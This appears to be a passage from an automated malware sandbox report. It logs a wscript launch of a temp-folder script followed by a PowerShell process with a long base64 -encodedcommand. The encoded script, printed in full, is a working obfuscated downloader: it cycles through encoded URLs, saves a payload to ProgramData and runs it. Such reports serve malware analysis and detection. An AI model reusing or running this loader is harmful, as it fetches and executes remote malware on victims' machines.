AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBnAEEAdwBBAEQARQBBAEwAZwBBAHgAQQBEAGMAQQBNAEEAQQA9AFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABnAEEATwBRAEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATwBRAEEAeQBBAEEAPQA9ACIAOwB9AH0AJAB2AGEAcgBzAG8AdgBpAGEAbgBhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAYwBnAEIAdgBBAEgAUQBBAGIAdwBCAGoAQQBHADgAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEEAdQBBAEcAUQBBAGEAUQBCAGgAQQBHADAAQQBiAHcAQgB1AEEARwBRAEEAYwB3AEEAPQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAUQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADUAQQBBAD0APQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGMAdwBCAGgAQQBHADQAQQBaAFEAQQB1AEEASABjAEEAWgBRAEIAawBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAFoAUQBCAHUAQQBHADQAQQBhAFEAQgBwAEEARwBRAEEATABnAEIAaABBAEcAMABBACIAOwA="
cmdline powershell -encodedcommand "JABhAGwAYgB1AGMAYQBQAGEAcgB0AHIAaQBkAGcAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBMAGcAQgB0AEEARwA4AEEAYgBRAEEAPQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBNAFEAQQB4AEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBAHgAQQBEAE0AQQBNAGcAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABNAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATgBRAEEAMABBAEEAPQA9ACIAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIAOwAkAHMAdQBiAGwAaQBtAGEAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAFEAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEAWgBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAGIAZwBCADAAQQBHAFUAQQBaAEEAQgBoAEEASABjAEEAYgBnAEIAVQBBAEgASQBBAGEAUQBCAGoAQQBHAGcAQQBiAHcAQgB0AEEARwBFAEEAZABBAEIAdgBBAEgAVQBBAGMAdwBBAHUAQQBHADQAQQBZAFEAQgAyAEEASABrAEEAIgA7ACQAQwBoAHIAaQBzAHQAbwBsAG8AZwBpAGMAYQBsAFMAZQBtAGkAbwByAGIAaQBjAHUAbABhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBMAGcAQQAwAEEARABnAEEATABnAEEAeABBAEQAUQBBAE8AUQBBAD0AIgA7ACQAcABhAGwAZQBvAGcAZQBuAGUAcwBpAHMAUABpAHMAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABjAEEATABnAEEAeQBBAEQASQBBAE4AZwBBAHYAQQBEAEkAQQBhAHcAQgBWAEEARgBrAEEATQBRAEIARwBBAEMAOABBAFYAZwBCADEAQQBEAFUAQQBRAFEAQgBWAEEARgBZAEEAdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQA1AEEARABFAEEATABnAEEANABBAEQAVQBBAEwAZwBBAHgAQQBEAEkAQQBOAEEAQQB2AEEASABBAEEAVABnAEIAWQBBAEYAawBBAEwAdwBBADQAQQBGAGMAQQBOAHcAQgB2AEEARwBZAEEAYgBBAEIAbwBBAEQASQBBAE0AZwBBAD0AdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATQBnAEEAMABBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAdgBBAEgASQBBAFEAUQBCAEIAQQBFADgAQQBkAFEAQgAyAEEARABZAEEATAB3AEEANABBAEgARQBBAGQAUQBCAGsAQQBHADAAQQBNAFEAQgA0AEEARwBJAEEATwBBAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACAAaQBuACAAJABwAGEAbABlAG8AZwBlAG4AZQBzAGkAcwBQAGkAcwBzAGkAbgBnACAALQBzAHAAbABpAHQAIAAiAHUAWABLAFYAIgApACAAewAkAHAAcgBlAGMAYQByAGkAYQBDAHkAbgBvAGMAbABlAHAAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE8AUQBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQwA0AEEATQBRAEEANQBBAEQAawBBAEwAZwBBADEAQQBEAEUAQQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADAAQQBDADQAQQBNAFEAQQAwAEEARABZAEEATABnAEEAMgBBAEQAUQBBAEwAZwBBAHgAQQBEAGMAQQBOAEEAQQA9AGUAVgBtAHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBEAEEARwA4AEEAYgBRAEIAbQBBAEcAOABBAGMAZwBCADAAQQBHAEUAQQBZAGcAQgBzAEEASABrAEEAUQBRAEIAcwBBAEgAVQBBAGIAUQBCAHUAQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEcAUQBBAGQAUQBCAGoAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAPQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AQQBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEANABBAEQARQBBAEwAZwBBAHgAQQBEAFkAQQBOAHcAQQA9ACIAOwB0AHIAeQAgAHsAJABFAG4AZABvAGMAYQByAHAAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEAeABBAEQAQQBBAE0AZwBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AZwBBADAAQQBDADQAQQBNAFEAQQB6AEEARABjAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAWgBRAEIAcwBBAEgAWQBBAGEAUQBCAHoAQQBHAFUAQQBjAHcAQgBNAEEARwA4AEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHMAQQBHAFUAQQBjAHcAQQB1AEEASABJAEEAZABRAEIAbwBBAEgASQBBAGIAaABZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGEAUQBCAHMAQQBHADgAQQBjAEEAQgB6AEEARwBrAEEAYwB3AEEAdQBBAEcAUQBBAFoAUQBCAGgAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAHAAYQByAGEAZABlAG4AdABpAHUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACkAKQA7AGkAdwByACAAJABwAGEAcgBhAGQAZQBuAHQAaQB1AG0AIAAtAE8AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBNAFEAQQB1AEEARABnAEEATwBBAEEAdQBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAGcAQQB3AEEARABjAEEAIgA7ACQAZQBwAGkAbABvAGcAdQBpAHoAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAFoAUQBCAHQAQQBIAEEAQQBiAEEAQgB2AEEASABrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAEUAQQBHAGsAQQBaAHcAQgBwAEEASABRAEEAWQBRAEIAcwBBAEcAawBBAFkAdwBBAHUAQQBHAEUAQQBjAHcAQgB6AEEARwA4AEEAWQB3AEIAcABBAEcARQBBAGQAQQBCAGwAQQBIAE0AQQBtAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AUQBBAHkAQQBDADQAQQBNAFEAQQAxAEEARABBAEEATABnAEEAeABBAEQARQBBAE8AQQBBAHUAQQBEAEUAQQBNAFEAQQB5AEEAQQA9AD0AbQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBZAFEAQgAwAEEARwBZAEEAYgB3AEIAdgBBAEgAUQBBAFoAUQBCAGsAQQBFAFUAQQBlAEEAQgBoAEEARwA0AEEAZABBAEIAbwBBAEcAVQBBAGIAUQBCAGgAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWQBnAEIAdgBBAEgAVQBBAGQAQQBCAHAAQQBIAEUAQQBkAFEAQgBsAEEAQQA9AD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAMgAxADMAOAA5ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEARQBrAEEAYgBnAEIAMgBBAEcAVQBBAGMAZwBCADAAQQBHAFUAQQBZAGcAQgB5AEEARwBFAEEAYgBBAEEAdQBBAEgAQQBBAGMAZwBCAGwAQQBHAE0AQQBiAHcAQgB0AEEASABBAEEAYgBBAEIAcABBAEcATQBBAFkAUQBCADAAQQBHAGsAQQBiAGcAQgBuAEEARgBVAEEAYgBnAEIAbQBBAEcARQBBAGEAUQBCADAAQQBHAGcAQQBMAEEAQgBVAEEARwBVAEEAYwB3AEIAMABBAEQAcwBBAFIAUQBCADQAQQBIAEEAQQBjAGcAQgBsAEEASABNAEEAYwB3AEIAcQBBAEgATQBBACIAOwAkAEMAbwBzAHQAbwB0AG8AbQB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATgBBAEEAMwBBAEMANABBAE0AUQBBADEAQQBEAFUAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQARQBBAE8AUQBBAD0AdgBuAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcAZwBBAFoAUQBCAHkAQQBHAGsAQQBaAGcAQgBtAEEARwBVAEEAYwB3AEIAegBBAEYAQQBBAGMAZwBCAGwAQQBHAGsAQQBiAFEAQgBpAEEARwBrAEEAWQBnAEIAbABBAEcAUQBBAEwAZwBCAHAAQQBHADQAQQBjAHcAQgAwAEEARwBrAEEAZABBAEIAMQBBAEgAUQBBAFoAUQBBAD0AIgA7ACQAbgBhAGIAYgBpAG4AZwBTAHUAYgBkAHUAYwBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEANQBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeABBAEQASQBBAE0AdwBBAD0AZgBaAE0AVQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFUAQQBNAHcAQQB1AEEARABFAEEATgBBAEEAdwBBAEMANABBAE0AUQBBADAAQQBEAGsAQQBMAGcAQQB4AEEARABrAEEATwBRAEEAPQAiADsAYgByAGUAYQBrADsAfQBFAHgAcAByAGUAcwBzAGoAcwA7AH0AIABjAGEAdABjAGgAIAB7ACQAYQBzAHMAYQBpAGwAYQBiAGkAbABpAHQAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAdQBBAEcAOABBAGIAZwBCAHQAQQBHAGsAQQBZAHcAQgB5AEEARwA4AEEAYwBBAEIAeQBBAEcAOABBAFoAdwBCAHkAQQBHAEUAQQBiAFEAQgB0AEEARwBVAEEAWgBBAEIAUQBBAEgASQBBAGIAdwBCAHUAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEIAaABBAEcAdwBBAGEAUQBCAHoAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAYwB3AEIAbABBAEEAPQA9AFUAUwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATQBnAEEAMQBBAEQAVQBBAEwAZwBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATQBBAEEAPQBVAFMAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwAwAEEAYQBRAEIAegBBAEcAOABBAFoAdwBCADUAQQBHADQAQQBhAFEAQgB6AEEASABRAEEAYwB3AEIAQgBBAEcANABBAGIAdwBCAGsAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEEAdQBBAEcARQBBAGQAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEAIgA7ACQAcwBsAGkAcABzAG8AbABlAHMAVAByAGkAbgBjAGgAZQByAGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAHcAQQAyAEEAQwA0AEEATQBRAEEANABBAEQASQBBAEwAZwBBAHkAQQBEAEUAQQBOAFEAQQB1AEEARABFAEEATQBBAEEAMwBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBrAEEARwBVAEEAWQB3AEIAaABBAEcAUQBBAFoAUQBCAHoAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEATABnAEIAagBBAEgASQBBAFoAUQBCAGsAQQBHAGsAQQBkAEEAQgBqAEEARwBFAEEAYwBnAEIAawBBAEEAPQA9AHMAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATQB3AEEAdQBBAEQASQBBAE0AQQBBADIAQQBDADQAQQBNAGcAQQAwAEEARABBAEEATABnAEEAeQBBAEQAQQBBAE8AUQBBAD0AIgA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAFUAQQBiAGcAQgBpAEEARwBVAEEAZAB3AEIAcABBAEcAdwBBAFoAQQBCAGwAQQBIAEkAQQBaAFEAQgBrAEEARwB3AEEAZQBRAEIAUABBAEgAVQBBAGQAQQBCADMAQQBIAGMAQQBaAFEAQgB3AEEASABRAEEATABnAEIAbQBBAEgASQBBAGIAQQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBjAHcAQgBwAEEARwBjAEEAYgBnAEIAaABBAEcAdwBBAGIAQQBCAGwAQQBHAFEAQQBWAHcAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgASQBBAEwAZwBCAG4AQQBIAEkAQQBZAFEAQgAwAEEARwBrAEEAYwB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAZwBBAE4AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBnAEEAdwBBAEQARQBBAEwAZwBBAHgAQQBEAGMAQQBNAEEAQQA9AFEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABnAEEATwBRAEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAEUAQQBOAFEAQQA1AEEAQwA0AEEATwBRAEEAeQBBAEEAPQA9ACIAOwB9AH0AJAB2AGEAcgBzAG8AdgBpAGEAbgBhACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAYwBnAEIAdgBBAEgAUQBBAGIAdwBCAGoAQQBHADgAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEEAdQBBAEcAUQBBAGEAUQBCAGgAQQBHADAAQQBiAHcAQgB1AEEARwBRAEEAYwB3AEEAPQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAUQBBAEwAZwBBADQAQQBEAGMAQQBMAGcAQQB4AEEARABjAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADUAQQBBAD0APQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIASgBBAEcANABBAGMAdwBCAGgAQQBHADQAQQBaAFEAQQB1AEEASABjAEEAWgBRAEIAawBBAEcAUQBBAGEAUQBCAHUAQQBHAGMAQQBDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAFoAUQBCAHUAQQBHADQAQQBhAFEAQgBwAEEARwBRAEEATABnAEIAaABBAEcAMABBACIAOwA="
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: wscript
parameters: "C:\Users\test22\AppData\Local\Temp\Rszsx.js" siegeniteMintages confeder zoogleasPipidae
filepath: wscript
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "JABhAGwAYgB1AGMAYQBQAGEAcgB0AHIAaQBkAGcAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBMAGcAQgB0AEEARwA4AEEAYgBRAEEAPQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQAVQBBAE4AQQBBAHUAQQBEAEUAQQBNAFEAQQB4AEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBAHgAQQBEAE0AQQBNAGcAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABNAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATgBRAEEAMABBAEEAPQA9ACIAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAxADIAOwAkAHMAdQBiAGwAaQBtAGEAdABlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAFEAQQB1AEEARABFAEEATgB3AEEAegBBAEMANABBAE0AUQBBAHoAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEAWgBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUARQBBAGIAZwBCADAAQQBHAFUAQQBaAEEAQgBoAEEASABjAEEAYgBnAEIAVQBBAEgASQBBAGEAUQBCAGoAQQBHAGcAQQBiAHcAQgB0AEEARwBFAEEAZABBAEIAdgBBAEgAVQBBAGMAdwBBAHUAQQBHADQAQQBZAFEAQgAyAEEASABrAEEAIgA7ACQAQwBoAHIAaQBzAHQAbwBsAG8AZwBpAGMAYQBsAFMAZQBtAGkAbwByAGIAaQBjAHUAbABhAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMABBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBMAGcAQQAwAEEARABnAEEATABnAEEAeABBAEQAUQBBAE8AUQBBAD0AIgA7ACQAcABhAGwAZQBvAGcAZQBuAGUAcwBpAHMAUABpAHMAcwBpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAYwBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQA0AEEARABjAEEATABnAEEAeQBBAEQASQBBAE4AZwBBAHYAQQBEAEkAQQBhAHcAQgBWAEEARgBrAEEATQBRAEIARwBBAEMAOABBAFYAZwBCADEAQQBEAFUAQQBRAFEAQgBWAEEARgBZAEEAdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGMAQQBMAGcAQQA1AEEARABFAEEATABnAEEANABBAEQAVQBBAEwAZwBBAHgAQQBEAEkAQQBOAEEAQQB2AEEASABBAEEAVABnAEIAWQBBAEYAawBBAEwAdwBBADQAQQBGAGMAQQBOAHcAQgB2AEEARwBZAEEAYgBBAEIAbwBBAEQASQBBAE0AZwBBAD0AdQBYAEsAVgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATQBnAEEAMABBAEMANABBAE0AUQBBADUAQQBEAGcAQQBMAGcAQQB5AEEARABFAEEATgBBAEEAdgBBAEgASQBBAFEAUQBCAEIAQQBFADgAQQBkAFEAQgAyAEEARABZAEEATAB3AEEANABBAEgARQBBAGQAUQBCAGsAQQBHADAAQQBNAFEAQgA0AEEARwBJAEEATwBBAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACAAaQBuACAAJABwAGEAbABlAG8AZwBlAG4AZQBzAGkAcwBQAGkAcwBzAGkAbgBnACAALQBzAHAAbABpAHQAIAAiAHUAWABLAFYAIgApACAAewAkAHAAcgBlAGMAYQByAGkAYQBDAHkAbgBvAGMAbABlAHAAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE8AUQBBAHUAQQBEAEUAQQBOAHcAQQAzAEEAQwA0AEEATQBRAEEANQBBAEQAawBBAEwAZwBBADEAQQBEAEUAQQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AQQBBADAAQQBDADQAQQBNAFEAQQAwAEEARABZAEEATABnAEEAMgBBAEQAUQBBAEwAZwBBAHgAQQBEAGMAQQBOAEEAQQA9AGUAVgBtAHcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBEAEEARwA4AEEAYgBRAEIAbQBBAEcAOABBAGMAZwBCADAAQQBHAEUAQQBZAGcAQgBzAEEASABrAEEAUQBRAEIAcwBBAEgAVQBBAGIAUQBCAHUAQQBHAGsAQQBZAFEAQgAwAEEARwBVAEEATABnAEIAbABBAEcAUQBBAGQAUQBCAGoAQQBHAEUAQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAPQBlAFYAbQB3AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AQQBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEANABBAEQARQBBAEwAZwBBAHgAQQBEAFkAQQBOAHcAQQA9ACIAOwB0AHIAeQAgAHsAJABFAG4AZABvAGMAYQByAHAAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE0AUQBBADIAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEAeABBAEQAQQBBAE0AZwBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEANQBBAEMANABBAE4AZwBBADAAQQBDADQAQQBNAFEAQQB6AEEARABjAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAD0AYgBoAFkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABBAEEAWgBRAEIAcwBBAEgAWQBBAGEAUQBCAHoAQQBHAFUAQQBjAHcAQgBNAEEARwA4AEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHMAQQBHAFUAQQBjAHcAQQB1AEEASABJAEEAZABRAEIAbwBBAEgASQBBAGIAaABZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGEAUQBCAHMAQQBHADgAQQBjAEEAQgB6AEEARwBrAEEAYwB3AEEAdQBBAEcAUQBBAFoAUQBCAGgAQQBHAHcAQQBjAHcAQQA9ACIAOwAkAHAAYQByAGEAZABlAG4AdABpAHUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABQAGEAcgBhAHAAcwBpAGQAYQBuACkAKQA7AGkAdwByACAAJABwAGEAcgBhAGQAZQBuAHQAaQB1AG0AIAAtAE8AIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwASQBuAHYAZQByAHQAZQBiAHIAYQBsAC4AcAByAGUAYwBvAG0AcABsAGkAYwBhAHQAaQBuAGcAVQBuAGYAYQBpAHQAaAA7ACQAYgByAG8AbQBvAHAAcgBvAHQAZQBpAG4ATgBvAG4AbgB1AG0AZQByAGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBNAFEAQQB1AEEARABnAEEATwBBAEEAdQBBAEQARQBBAE0AZwBBADUAQQBDADQAQQBNAGcAQQB3AEEARABjAEEAIgA7A